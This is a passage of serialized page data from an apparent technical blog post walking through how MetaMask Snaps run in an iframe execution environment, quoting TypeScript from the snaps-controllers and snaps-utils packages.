...\n",{"type":25,"tag":271,"props":48749,"children":48750},{"class":13593,"line":14354},[48751,48755,48760,48764],{"type":25,"tag":271,"props":48752,"children":48753},{"style":14289},[48754],{"type":30,"value":22778},{"type":25,"tag":271,"props":48756,"children":48757},{"style":13598},[48758],{"type":30,"value":48759}," snapExecutionServiceArgs",{"type":25,"tag":271,"props":48761,"children":48762},{"style":13603},[48763],{"type":30,"value":16155},{"type":25,"tag":271,"props":48765,"children":48766},{"style":13625},[48767],{"type":30,"value":16431},{"type":25,"tag":271,"props":48769,"children":48770},{"class":13593,"line":14391},[48771,48776,48780,48785,48789,48794,48798,48803,48807,48812],{"type":25,"tag":271,"props":48772,"children":48773},{"style":13598},[48774],{"type":30,"value":48775},"  iframeUrl:",{"type":25,"tag":271,"props":48777,"children":48778},{"style":14289},[48779],{"type":30,"value":45045},{"type":25,"tag":271,"props":48781,"children":48782},{"style":13620},[48783],{"type":30,"value":48784}," URL",{"type":25,"tag":271,"props":48786,"children":48787},{"style":13625},[48788],{"type":30,"value":394},{"type":25,"tag":271,"props":48790,"children":48791},{"style":13598},[48792],{"type":30,"value":48793},"process",{"type":25,"tag":271,"props":48795,"children":48796},{"style":13625},[48797],{"type":30,"value":1860},{"type":25,"tag":271,"props":48799,"children":48800},{"style":13598},[48801],{"type":30,"value":48802},"env",{"type":25,"tag":271,"props":48804,"children":48805},{"style":13625},[48806],{"type":30,"value":1860},{"type":25,"tag":271,"props":48808,"children":48809},{"style":13598},[48810],{"type":30,"value":48811},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":25,"tag":271,"props":48813,"children":48814},{"style":13625},[48815],{"type":30,"value":19860},{"type":25,"tag":271,"props":48817,"children":48818},{"class":13593,"line":14400},[48819,48824,48829,48833,48838,48842,48847],{"type":25,"tag":271,"props":48820,"children":48821},{"style":13598},[48822],{"type":30,"value":48823},"  messenger:",{"type":25,"tag":271,"props":48825,"children":48826},{"style":14289},[48827],{"type":30,"value":48828}," this",{"type":25,"tag":271,"props":48830,"children":48831},{"style":13625},[48832],{"type":30,"value":1860},{"type":25,"tag":271,"props":48834,"children":48835},{"style":13598},[48836],{"type":30,"value":48837},"controllerMessenger",{"type":25,"tag":271,"props":48839,"children":48840},{"style":13625},[48841],{"type":30,"value":1860},{"type":25,"tag":271,"props":48843,"children":48844},{"style":13620},[48845],{"type":30,"value":48846},"getRestricted",{"type":25,"tag":271,"props":48848,"children":48849},{"style":13625},[48850],{"type":30,"value":28262},{"type":25,"tag":271,"props":48852,"children":48853},{"class":13593,"line":16406},[48854,48859,48864],{"type":25,"tag":271,"props":48855,"children":48856},{"style":13598},[48857],{"type":30,"value":48858},"    name:",{"type":25,"tag":271,"props":48860,"children":48861},{"style":17388},[48862],{"type":30,"value":48863}," 'ExecutionService'",{"type":25,"tag":271,"props":48865,"children":48866},{"style":13625},[48867],{"type":30,"value":14351},{"type":25,"tag":271,"props":48869,"children":48870},{"class":13593,"line":16434},[48871],{"type":25,"tag":271,"props":48872,"children":48873},{"style":13625},[48874],{"type":30,"value":48875},"  }),\n",{"type":25,"tag":271,"props":48877,"children":48878},{"class":13593,"line":16447},[48879,48884,48888,48892,48897,48901,48906,48910,48914],{"type":25,"tag":271,"props":48880,"children":48881},{"style":13598},[48882],{"type":30,"value":48883},"  setupSnapProvider:",{"type":25,"tag":271,"props":48885,"children":48886},{"style":14289},[48887],{"type":30,"value":48828},{"type":25,"tag":271,"props":48889,"children":48890},{"style":13625},[48891],{"type":30,"value":1860},{"type":25,"tag":271,"props":48893,"children":48894},{"style":13598},[48895],{"type":30,"value":48896},"setupSnapProvider",{"type":25,"tag":271,"props":48898,"children":48899},{"style":13625},[48900],{"type":30,"value":1860},{"type":25,"tag":271,"props":48902,"children":48903},{"style":13620},[48904],{"type":30,"value":48905},"bind",{"type":25,"tag":271,"props":48907,"children":48908},{"style":13625},[48909],{"type":30,"value":394},{"type":25,"tag":271,"props":48911,"children":48912},{"style":14289},[48913],{"type":30,"value":30815},{"type":25,"tag":271,"props":48915,"children":48916},{"style":13625},[48917],{"type":30,"value":19860},{"type":25,"tag":271,"props":48919,"children":48920},{"class":13593,"line":16465},[48921],{"type":25,"tag":271,"props":48922,"children":48923},{"style":13625},[48924],{"type":30,"value":29700},{"type":25,"tag":271,"props":48926,"children":48927},{"class":13593,"line":16486},[48928],{"type":25,"tag":271,"props":48929,"children":48930},{"emptyLinePlaceholder":18},[48931],{"type":30,"value":16829},{"type":25,"tag":271,"props":48933,"children":48934},{"class":13593,"line":16495},[48935],{"type":25,"tag":271,"props":48936,"children":48937},{"style":14385},[48938],{"type":30,"value":48939},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":25,"tag":271,"props":48941,"children":48942},{"class":13593,"line":16744},[48943,48947,48951,48955,48959,48963],{"type":25,"tag":271,"props":48944,"children":48945},{"style":13598},[48946],{"type":30,"value":48793},{"type":25,"tag":271,"props":48948,"children":48949},{"style":13625},[48950],{"type":30,"value":1860},{"type":25,"tag":271,"props":48952,"children":48953},{"style":13598},[48954],{"type":30,"value":48802},{"type":25,"tag":271,"props":48956,"children":48957},{"style":13625},[48958],{"type":30,"value":1860},{"type":25,"tag":271,"props":48960,"children":48961},{"style":13598},[48962],{"type":30,"value":48811},{"type":25,"tag":271,"props":48964,"children":48965},{"style":13603},[48966],{"type":30,"value":48967}," =\n",{"type":25,"tag":271,"props":48969,"children":48970},{"class":13593,"line":16761},[48971,48976],{"type":25,"tag":271,"props":48972,"children":48973},{"style":17388},[48974],{"type":30,"value":48975},"  'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":25,"tag":271,"props":48977,"children":48978},{"style":13625},[48979],{"type":30,"value":16165},{"type":25,"tag":271,"props":48981,"children":48982},{"class":13593,"line":16778},[48983],{"type":25,"tag":271,"props":48984,"children":48985},{"style":14385},[48986],{"type":30,"value":48747},{"type":25,"tag":26,"props":48988,"children":48989},{},[48990,48992,48998,49000,49006,49008,49013],{"type":30,"value":48991},"This code is defining the ",{"type":25,"tag":264,"props":48993,"children":48995},{"className":48994},[],[48996],{"type":30,"value":48997},"snapExecutionServiceArgs",{"type":30,"value":48999}," object, which contains information required for the ",{"type":25,"tag":264,"props":49001,"children":49003},{"className":49002},[],[49004],{"type":30,"value":49005},"IframeExecutionService",{"type":30,"value":49007}," to execute snaps. The ",{"type":25,"tag":264,"props":49009,"children":49011},{"className":49010},[],[49012],{"type":30,"value":48811},{"type":30,"value":49014}," points to the location where the execution environment resides.",{"type":25,"tag":2352,"props":49016,"children":49018},{"id":49017},"executing-snaps-iframeexecutionservice-in-action",[49019],{"type":30,"value":49020},"Executing Snaps: IframeExecutionService in Action",{"type":25,"tag":26,"props":49022,"children":49023},{},[49024,49026,49031,49033,49039],{"type":30,"value":49025},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":25,"tag":264,"props":49027,"children":49029},{"className":49028},[],[49030],{"type":30,"value":49005},{"type":30,"value":49032}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":25,"tag":83,"props":49034,"children":49037},{"href":49035,"rel":49036},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[9066],[49038],{"type":30,"value":264},{"type":30,"value":359},{"type":25,"tag":7764,"props":49041,"children":49045},{"className":49042,"code":49043,"language":49044,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n  `${controllerName}:handleRpcRequest`,\n  async (snapId: string, options: SnapRpcHookArgs) =>\n    this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n  // Initialize job, streams, and environment\n  const { jobId } = await this.initJob(snapData);\n  const { worker, stream } = await this.initEnvStream(jobId);\n  // ...\n}\n","typescript",[49046],{"type":25,"tag":264,"props":49047,"children":49048},{"__ignoreMap":7},[49049,49057,49086,49116,49169,49206,49213,49220,49228,49235,49242,49250,49285,49293,49349,49411,49419],{"type":25,"tag":271,"props":49050,"children":49051},{"class":13593,"line":13594},[49052],{"type":25,"tag":271,"props":49053,"children":49054},{"style":14385},[49055],{"type":30,"value":49056},"// Register message handlers for snap interactions\n",{"type":25,"tag":271,"props":49058,"children":49059},{"class":13593,"line":11641},[49060,49064,49068,49073,49077,49082],{"type":25,"tag":271,"props":49061,"children":49062},{"style":14289},[49063],{"type":30,"value":30815},{"type":25,"tag":271,"props":49065,"children":49066},{"style":13625},[49067],{"type":30,"value":1860},{"type":25,"tag":271,"props":49069,"children":49070},{"style":13598},[49071],{"type":30,"value":49072},"#messenger",{"type":25,"tag":271,"props":49074,"children":49075},{"style":13625},[49076],{"type":30,"value":1860},{"type":25,"tag":271,"props":49078,"children":49079},{"style":13620},[49080],{"type":30,"value":49081},"registerActionHandler",{"type":25,"tag":271,"props":49083,"children":49084},{"style":13625},[49085],{"type":30,"value":16609},{"type":25,"tag":271,"props":49087,"children":49088},{"class":13593,"line":14354},[49089,49094,49098,49103,49107,49112],{"type":25,"tag":271,"props":49090,"children":49091},{"style":17388},[49092],{"type":30,"value":49093},"  `",{"type":25,"tag":271,"props":49095,"children":49096},{"style":14289},[49097],{"type":30,"value":47221},{"type":25,"tag":271,"props":49099,"children":49100},{"style":13598},[49101],{"type":30,"value":49102},"controllerName",{"type":25,"tag":271,"props":49104,"children":49105},{"style":14289},[49106],{"type":30,"value":978},{"type":25,"tag":271,"props":49108,"children":49109},{"style":17388},[49110],{"type":30,"value":49111},":handleRpcRequest`",{"type":25,"tag":271,"props":49113,"children":49114},{"style":13625},[49115],{"type":30,"value":14351},{"type":25,"tag":271,"props":49117,"children":49118},{"class":13593,"line":14391},[49119,49124,49128,49133,49137,49142,49146,49151,49155,49160,49164],{"type":25,"tag":271,"props":49120,"children":49121},{"style":14289},[49122],{"type":30,"value":49123},"  async",{"type":25,"tag":271,"props":49125,"children":49126},{"style":13625},[49127],{"type":30,"value":16213},{"type":25,"tag":271,"props":49129,"children":49130},{"style":13598},[49131],{"type":30,"value":49132},"snapId",{"type":25,"tag":271,"props":49134,"children":49135},{"style":13603},[49136],{"type":30,"value":359},{"type":25,"tag":271,"props":49138,"children":49139},{"style":13609},[49140],{"type":30,"value":49141}," string",{"type":25,"tag":271,"props":49143,"children":49144},{"style":13625},[49145],{"type":30,"value":44},{"type":25,"tag":271,"props":49147,"children":49148},{"style":13598},[49149],{"type":30,"value":49150},"options",{"type":25,"tag":271,"props":49152,"children":49153},{"style":13603},[49154],{"type":30,"value":359},{"type":25,"tag":271,"props":49156,"children":49157},{"style":13609},[49158],{"type":30,"value":49159}," SnapRpcHookArgs",{"type":25,"tag":271,"props":49161,"children":49162},{"style":13625},[49163],{"type":30,"value":14406},{"type":25,"tag":271,"props":49165,"children":49166},{"style":14289},[49167],{"type":30,"value":49168},"=>\n",{"type":25,"tag":271,"props":49170,"children":49171},{"class":13593,"line":14400},[49172,49177,49181,49186,49190,49194,49198,49202],{"type":25,"tag":271,"props":49173,"children":49174},{"style":14289},[49175],{"type":30,"value":49176},"    this",{"type":25,"tag":271,"props":49178,"children":49179},{"style":13625},[49180],{"type":30,"value":1860},{"type":25,"tag":271,"props":49182,"children":49183},{"style":13620},[49184],{"type":30,"value":49185},"handleRpcRequest",{"type":25,"tag":271,"props":49187,"children":49188},{"style":13625},[49189],{"type":30,"value":394},{"type":25,"tag":271,"props":49191,"children":49192},{"style":13598},[49193],{"type":30,"value":49132},{"type":25,"tag":271,"props":49195,"children":49196},{"style":13625},[49197],{"type":30,"value":44},{"type":25,"tag":271,"props":49199,"children":49200},{"style":13598},[49201],{"type":30,"value":49150},{"type":25,"tag":271,"props":49203,"children":49204},{"style":13625},[49205],{"type":30,"value":19860},{"type":25,"tag":271,"props":49207,"children":49208},{"class":13593,"line":16406},[49209],{"type":25,"tag":271,"props":49210,"children":49211},{"style":13625},[49212],{"type":30,"value":13665},{"type":25,"tag":271,"props":49214,"children":49215},{"class":13593,"line":16434},[49216],{"type":25,"tag":271,"props":49217,"children":49218},{"emptyLinePlaceholder":18},[49219],{"type":30,"value":16829},{"type":25,"tag":271,"props":49221,"children":49222},{"class":13593,"line":16447},[49223],{"type":25,"tag":271,"props":49224,"children":49225},{"style":14385},[49226],{"type":30,"value":49227},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":25,"tag":271,"props":49229,"children":49230},{"class":13593,"line":16465},[49231],{"type":25,"tag":271,"props":49232,"children":49233},{"style":14385},[49234],{"type":30,"value":48747},{"type":25,"tag":271,"props":49236,"children":49237},{"class":13593,"line":16486},[49238],{"type":25,"tag":271,"props":49239,"children":49240},{"emptyLinePlaceholder":18},[49241],{"type":30,"value":16829},{"type":25,"tag":271,"props":49243,"children":49244},{"class":13593,"line":16495},[49245],{"type":25,"tag":271,"props":49246,"children":49247},{"style":14385},[49248],{"type":30,"value":49249},"// Execute a snap\n",{"type":25,"tag":271,"props":49251,"children":49252},{"class":13593,"line":16744},[49253,49258,49263,49267,49272,49276,49281],{"type":25,"tag":271,"props":49254,"children":49255},{"style":13598},[49256],{"type":30,"value":49257},"async",{"type":25,"tag":271,"props":49259,"children":49260},{"style":13620},[49261],{"type":30,"value":49262}," executeSnap",{"type":25,"tag":271,"props":49264,"children":49265},{"style":13625},[49266],{"type":30,"value":394},{"type":25,"tag":271,"props":49268,"children":49269},{"style":13598},[49270],{"type":30,"value":49271},"snapData",{"type":25,"tag":271,"props":49273,"children":49274},{"style":13625},[49275],{"type":30,"value":28453},{"type":25,"tag":271,"props":49277,"children":49278},{"style":13598},[49279],{"type":30,"value":49280},"SnapExecutionData",{"type":25,"tag":271,"props":49282,"children":49283},{"style":13625},[49284],{"type":30,"value":27925},{"type":25,"tag":271,"props":49286,"children":49287},{"class":13593,"line":16761},[49288],{"type":25,"tag":271,"props":49289,"children":49290},{"style":14385},[49291],{"type":30,"value":49292},"  // Initialize job, streams, and environment\n",{"type":25,"tag":271,"props":49294,"children":49295},{"class":13593,"line":16778},[49296,49301,49305,49310,49315,49319,49324,49328,49332,49337,49341,49345],{"type":25,"tag":271,"props":49297,"children":49298},{"style":14289},[49299],{"type":30,"value":49300},"  const",{"type":25,"tag":271,"props":49302,"children":49303},{"style":13625},[49304],{"type":30,"value":22709},{"type":25,"tag":271,"props":49306,"children":49307},{"style":13598},[49308],{"type":30,"value":49309},"jobId",{"type":25,"tag":271,"props":49311,"children":49312},{"style":13625},[49313],{"type":30,"value":49314}," } ",{"type":25,"tag":271,"props":49316,"children":49317},{"style":13603},[49318],{"type":30,"value":1065},{"type":25,"tag":271,"props":49320,"children":49321},{"style":16171},[49322],{"type":30,"value":49323}," await",{"type":25,"tag":271,"props":49325,"children":49326},{"style":14289},[49327],{"type":30,"value":48828},{"type":25,"tag":271,"props":49329,"children":49330},{"style":13625},[49331],{"type":30,"value":1860},{"type":25,"tag":271,"props":49333,"children":49334},{"style":13620},[49335],{"type":30,"value":49336},"initJob",{"type":25,"tag":271,"props":49338,"children":49339},{"style":13625},[49340],{"type":30,"value":394},{"type":25,"tag":271,"props":49342,"children":49343},{"style":13598},[49344],{"type":30,"value":49271},{"type":25,"tag":271,"props":49346,"children":49347},{"style":13625},[49348],{"type":30,"value":13665},{"type":25,"tag":271,"props":49350,"children":49351},{"class":13593,"line":16791},[49352,49356,49360,49365,49369,49374,49378,49382,49386,49390,49394,49399,49403,49407],{"type":25,"tag":271,"props":49353,"children":49354},{"style":14289},[49355],{"type":30,"value":49300},{"type":25,"tag":271,"props":49357,"children":49358},{"style":13625},[49359],{"type":30,"value":22709},{"type":25,"tag":271,"props":49361,"children":49362},{"style":13598},[49363],{"type":30,"value":49364},"worker",{"type":25,"tag":271,"props":49366,"children":49367},{"style":13625},[49368],{"type":30,"value":44},{"type":25,"tag":271,"props":49370,"children":49371},{"style":13598},[49372],{"type":30,"value":49373},"stream",{"type":25,"tag":271,"props":49375,"children":49376},{"style":13625},[49377],{"type":30,"value":49314},{"type":25,"tag":271,"props":49379,"children":49380},{"style":13603},[49381],{"type":30,"value":1065},{"type":25,"tag":271,"props":49383,"children":49384},{"style":16171},[49385],{"type":30,"value":49323},{"type":25,"tag":271,"props":49387,"children":49388},{"style":14289},[49389],{"type":30,"value":48828},{"type":25,"tag":271,"props":49391,"children":49392},{"style":13625},[49393],{"type":30,"value":1860},{"type":25,"tag":271,"props":49395,"children":49396},{"style":13620},[49397],{"type":30,"value":49398},"initEnvStream",{"type":25,"tag":271,"props":49400,"children":49401},{"style":13625},[49402],{"type":30,"value":394},{"type":25,"tag":271,"props":49404,"children":49405},{"style":13598},[49406],{"type":30,"value":49309},{"type":25,"tag":271,"props":49408,"children":49409},{"style":13625},[49410],{"type":30,"value":13665},{"type":25,"tag":271,"props":49412,"children":49413},{"class":13593,"line":16800},[49414],{"type":25,"tag":271,"props":49415,"children":49416},{"style":14385},[49417],{"type":30,"value":49418},"  // ...\n",{"type":25,"tag":271,"props":49420,"children":49421},{"class":13593,"line":16823},[49422],{"type":25,"tag":271,"props":49423,"children":49424},{"style":13625},[49425],{"type":30,"value":17058},{"type":25,"tag":26,"props":49427,"children":49428},{},[49429,49430,49435,49437,49443],{"type":30,"value":10272},{"type":25,"tag":264,"props":49431,"children":49433},{"className":49432},[],[49434],{"type":30,"value":49005},{"type":30,"value":49436}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":25,"tag":264,"props":49438,"children":49440},{"className":49439},[],[49441],{"type":30,"value":49442},"${controllerName}:executeSnap",{"type":30,"value":49444}," handler triggers the snap execution process.",{"type":25,"tag":2352,"props":49446,"children":49448},{"id":49447},"step-by-step-execution-from-initialization-to-iframe-creation",[49449,49451],{"type":30,"value":49450},"Step-by-Step Execution: From Initialization to iFrame ",{"type":25,"tag":83,"props":49452,"children":49455},{"href":49453,"rel":49454},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[9066],[49456],{"type":30,"value":49457},"creation",{"type":25,"tag":7764,"props":49459,"children":49461},{"className":49042,"code":49460,"language":49044,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n    worker: Window;\n    stream: BasePostMessageStream;\n  }> {\n    const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n    const stream = new WindowPostMessageStream({\n      name: 'parent',\n      target: 'child',\n      targetWindow: iframeWindow,\n      targetOrigin: '*',\n    });\n\n    return { worker: iframeWindow, stream };\n  }\n",[49462],{"type":25,"tag":264,"props":49463,"children":49464},{"__ignoreMap":7},[49465,49514,49535,49556,49564,49628,49635,49663,49680,49697,49714,49731,49738,49745,49769],{"type":25,"tag":271,"props":49466,"children":49467},{"class":13593,"line":13594},[49468,49473,49478,49483,49487,49491,49495,49499,49504,49509],{"type":25,"tag":271,"props":49469,"children":49470},{"style":13598},[49471],{"type":30,"value":49472},"protected",{"type":25,"tag":271,"props":49474,"children":49475},{"style":13598},[49476],{"type":30,"value":49477}," async",{"type":25,"tag":271,"props":49479,"children":49480},{"style":13620},[49481],{"type":30,"value":49482}," initEnvStream",{"type":25,"tag":271,"props":49484,"children":49485},{"style":13625},[49486],{"type":30,"value":394},{"type":25,"tag":271,"props":49488,"children":49489},{"style":13598},[49490],{"type":30,"value":49309},{"type":25,"tag":271,"props":49492,"children":49493},{"style":13625},[49494],{"type":30,"value":28453},{"type":25,"tag":271,"props":49496,"children":49497},{"style":13598},[49498],{"type":30,"value":42779},{"type":25,"tag":271,"props":49500,"children":49501},{"style":13625},[49502],{"type":30,"value":49503},"): ",{"type":25,"tag":271,"props":49505,"children":49506},{"style":13609},[49507],{"type":30,"value":49508},"Promise",{"type":25,"tag":271,"props":49510,"children":49511},{"style":13625},[49512],{"type":30,"value":49513},"\u003C{\n",{"type":25,"tag":271,"props":49515,"children":49516},{"class":13593,"line":11641},[49517,49522,49526,49531],{"type":25,"tag":271,"props":49518,"children":49519},{"style":13598},[49520],{"type":30,"value":49521},"    worker",{"type":25,"tag":271,"props":49523,"children":49524},{"style":13603},[49525],{"type":30,"value":359},{"type":25,"tag":271,"props":49527,"children":49528},{"style":13609},[49529],{"type":30,"value":49530}," Window",{"type":25,"tag":271,"props":49532,"children":49533},{"style":13625},[49534],{"type":30,"value":16165},{"type":25,"tag":271,"props":49536,"children":49537},{"class":13593,"line":14354},[49538,49543,49547,49552],{"type":25,"tag":271,"props":49539,"children":49540},{"style":13598},[49541],{"type":30,"value":49542},"    stream",{"type":25,"tag":271,"props":49544,"children":49545},{"style":13603},[49546],{"type":30,"value":359},{"type":25,"tag":271,"props":49548,"children":49549},{"style":13609},[49550],{"type":30,"value":49551}," BasePostMessageStream",{"type":25,"tag":271,"props":49553,"children":49554},{"style":13625},[49555],{"type":30,"value":16165},{"type":25,"tag":271,"props":49557,"children":49558},{"class":13593,"line":14391},[49559],{"type":25,"tag":271,"props":49560,"children":49561},{"style":13625},[49562],{"type":30,"value":49563},"  }> {\n",{"type":25,"tag":271,"props":49565,"children":49566},{"class":13593,"line":14400},[49567,49572,49577,49581,49585,49590,49594,49598,49602,49607,49611,49616,49620,49624],{"type":25,"tag":271,"props":49568,"children":49569},{"style":13625},[49570],{"type":30,"value":49571},"    const ",{"type":25,"tag":271,"props":49573,"children":49574},{"style":13598},[49575],{"type":30,"value":49576},"iframeWindow",{"type":25,"tag":271,"props":49578,"children":49579},{"style":13603},[49580],{"type":30,"value":16155},{"type":25,"tag":271,"props":49582,"children":49583},{"style":16171},[49584],{"type":30,"value":49323},{"type":25,"tag":271,"props":49586,"children":49587},{"style":13620},[49588],{"type":30,"value":49589}," createWindow",{"type":25,"tag":271,"props":49591,"children":49592},{"style":13625},[49593],{"type":30,"value":394},{"type":25,"tag":271,"props":49595,"children":49596},{"style":14289},[49597],{"type":30,"value":30815},{"type":25,"tag":271,"props":49599,"children":49600},{"style":13625},[49601],{"type":30,"value":1860},{"type":25,"tag":271,"props":49603,"children":49604},{"style":13598},[49605],{"type":30,"value":49606},"iframeUrl",{"type":25,"tag":271,"props":49608,"children":49609},{"style":13625},[49610],{"type":30,"value":1860},{"type":25,"tag":271,"props":49612,"children":49613},{"style":13620},[49614],{"type":30,"value":49615},"toString",{"type":25,"tag":271,"props":49617,"children":49618},{"style":13625},[49619],{"type":30,"value":31497},{"type":25,"tag":271,"props":49621,"children":49622},{"style":13598},[49623],{"type":30,"value":49309},{"type":25,"tag":271,"props":49625,"children":49626},{"style":13625},[49627],{"type":30,"value":13665},{"type":25,"tag":271,"props":49629,"children":49630},{"class":13593,"line":16406},[49631],{"type":25,"tag":271,"props":49632,"children":49633},{"emptyLinePlaceholder":18},[49634],{"type":30,"value":16829},{"type":25,"tag":271,"props":49636,"children":49637},{"class":13593,"line":16434},[49638,49642,49646,49650,49654,49659],{"type":25,"tag":271,"props":49639,"children":49640},{"style":13625},[49641],{"type":30,"value":49571},{"type":25,"tag":271,"props":49643,"children":49644},{"style":13598},[49645],{"type":30,"value":49373},{"type":25,"tag":271,"props":49647,"children":49648},{"style":13603},[49649],{"type":30,"value":16155},{"type":25,"tag":271,"props":49651,"children":49652},{"style":14289},[49653],{"type":30,"value":45045},{"type":25,"tag":271,"props":49655,"children":49656},{"style":13620},[49657],{"type":30,"value":49658}," WindowPostMessageStream",{"type":25,"tag":271,"props":49660,"children":49661},{"style":13625},[49662],{"type":30,"value":28262},{"type":25,"tag":271,"props":49664,"children":49665},{"class":13593,"line":16447},[49666,49671,49676],{"type":25,"tag":271,"props":49667,"children":49668},{"style":13598},[49669],{"type":30,"value":49670},"      name:",{"type":25,"tag":271,"props":49672,"children":49673},{"style":17388},[49674],{"type":30,"value":49675}," 'parent'",{"type":25,"tag":271,"props":49677,"children":49678},{"style":13625},[49679],{"type":30,"value":14351},{"type":25,"tag":271,"props":49681,"children":49682},{"class":13593,"line":16465},[49683,49688,49693],{"type":25,"tag":271,"props":49684,"children":49685},{"style":13598},[49686],{"type":30,"value":49687},"      target:",{"type":25,"tag":271,"props":49689,"children":49690},{"style":17388},[49691],{"type":30,"value":49692}," 'child'",{"type":25,"tag":271,"props":49694,"children":49695},{"style":13625},[49696],{"type":30,"value":14351},{"type":25,"tag":271,"props":49698,"children":49699},{"class":13593,"line":16486},[49700,49705,49710],{"type":25,"tag":271,"props":49701,"children":49702},{"style":13598},[49703],{"type":30,"value":49704},"      targetWindow:",{"type":25,"tag":271,"props":49706,"children":49707},{"style":13598},[49708],{"type":30,"value":49709}," iframeWindow",{"type":25,"tag":271,"props":49711,"children":49712},{"style":13625},[49713],{"type":30,"value":14351},{"type":25,"tag":271,"props":49715,"children":49716},{"class":13593,"line":16495},[49717,49722,49727],{"type":25,"tag":271,"props":49718,"children":49719},{"style":13598},[49720],{"type":30,"value":49721},"      targetOrigin:",{"type":25,"tag":271,"props":49723,"children":49724},{"style":17388},[49725],{"type":30,"value":49726}," '*'",{"type":25,"tag":271,"props":49728,"children":49729},{"style":13625},[49730],{"type":30,"value":14351},{"type":25,"tag":271,"props":49732,"children":49733},{"class":13593,"line":16744},[49734],{"type":25,"tag":271,"props":49735,"children":49736},{"style":13625},[49737],{"type":30,"value":45369},{"type":25,"tag":271,"props":49739,"children":49740},{"class":13593,"line":16761},[49741],{"type":25,"tag":271,"props":49742,"children":49743},{"emptyLinePlaceholder":18},[49744],{"type":30,"value":16829},{"type":25,"tag":271,"props":49746,"children":49747},{"class":13593,"line":16778},[49748,49753,49757,49761,49765],{"type":25,"tag":271,"props":49749,"children":49750},{"style":13625},[49751],{"type":30,"value":49752},"    return { worker: ",{"type":25,"tag":271,"props":49754,"children":49755},{"style":13598},[49756],{"type":30,"value":49576},{"type":25,"tag":271,"props":49758,"children":49759},{"style":13625},[49760],{"type":30,"value":44},{"type":25,"tag":271,"props":49762,"children":49763},{"style":13598},[49764],{"type":30,"value":49373},{"type":25,"tag":271,"props":49766,"children":49767},{"style":13625},[49768],{"type":30,"value":31421},{"type":25,"tag":271,"props":49770,"children":49771},{"class":13593,"line":16791},[49772],{"type":25,"tag":271,"props":49773,"children":49774},{"style":13625},[49775],{"type":30,"value":19003},{"type":25,"tag":26,"props":49777,"children":49778},{},[49779,49781,49787,49789,49796],{"type":30,"value":49780},"Here the iframe is created via ",{"type":25,"tag":264,"props":49782,"children":49784},{"className":49783},[],[49785],{"type":30,"value":49786},"createWindow",{"type":30,"value":49788},", which is defined in snaps-utils ",{"type":25,"tag":83,"props":49790,"children":49793},{"href":49791,"rel":49792},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[9066],[49794],{"type":30,"value":49795},"package",{"type":30,"value":359},{"type":25,"tag":7764,"props":49798,"children":49800},{"className":49042,"code":49799,"language":49044,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n    iframe.setAttribute('id', id);\n    iframe.setAttribute('data-testid', 'snaps-iframe');\n\n    if (sandbox) {\n      iframe.setAttribute('sandbox', 'allow-scripts');\n    }\n    iframe.setAttribute('src', uri);\n    document.body.appendChild(iframe);\n",[49801],{"type":25,"tag":264,"props":49802,"children":49803},{"__ignoreMap":7},[49804,49847,49885,49922,49929,49949,49987,49994,50031],{"type":25,"tag":271,"props":49805,"children":49806},{"class":13593,"line":13594},[49807,49811,49816,49820,49825,49829,49834,49838,49843],{"type":25,"tag":271,"props":49808,"children":49809},{"style":14289},[49810],{"type":30,"value":22778},{"type":25,"tag":271,"props":49812,"children":49813},{"style":13598},[49814],{"type":30,"value":49815}," iframe",{"type":25,"tag":271,"props":49817,"children":49818},{"style":13603},[49819],{"type":30,"value":16155},{"type":25,"tag":271,"props":49821,"children":49822},{"style":13598},[49823],{"type":30,"value":49824}," document",{"type":25,"tag":271,"props":49826,"children":49827},{"style":13625},[49828],{"type":30,"value":1860},{"type":25,"tag":271,"props":49830,"children":49831},{"style":13620},[49832],{"type":30,"value":49833},"createElement",{"type":25,"tag":271,"props":49835,"children":49836},{"style":13625},[49837],{"type":30,"value":394},{"type":25,"tag":271,"props":49839,"children":49840},{"style":17388},[49841],{"type":30,"value":49842},"'iframe'",{"type":25,"tag":271,"props":49844,"children":49845},{"style":13625},[49846],{"type":30,"value":13665},{"type":25,"tag":271,"props":49848,"children":49849},{"class":13593,"line":11641},[49850,49855,49859,49864,49868,49873,49877,49881],{"type":25,"tag":271,"props":49851,"children":49852},{"style":13598},[49853],{"type":30,"value":49854},"    iframe",{"type":25,"tag":271,"props":49856,"children":49857},{"style":13625},[49858],{"type":30,"value":1860},{"type":25,"tag":271,"props":49860,"children":49861},{"style":13620},[49862],{"type":30,"value":49863},"setAttribute",{"type":25,"tag":271,"props":49865,"children":49866},{"style":13625},[49867],{"type":30,"value":394},{"type":25,"tag":271,"props":49869,"children":49870},{"style":17388},[49871],{"type":30,"value":49872},"'id'",{"type":25,"tag":271,"props":49874,"children":49875},{"style":13625},[49876],{"type":30,"value":44},{"type":25,"tag":271,"props":49878,"children":49879},{"style":13598},[49880],{"type":30,"value":16631},{"type":25,"tag":271,"props":49882,"children":49883},{"style":13625},[49884],{"type":30,"value":13665},{"type":25,"tag":271,"props":49886,"children":49887},{"class":13593,"line":14354},[49888,49892,49896,49900,49904,49909,49913,49918],{"type":25,"tag":271,"props":49889,"children":49890},{"style":13598},[49891],{"type":30,"value":49854},{"type":25,"tag":271,"props":49893,"children":49894},{"style":13625},[49895],{"type":30,"value":1860},{"type":25,"tag":271,"props":49897,"children":49898},{"style":13620},[49899],{"type":30,"value":49863},{"type":25,"tag":271,"props":49901,"children":49902},{"style":13625},[49903]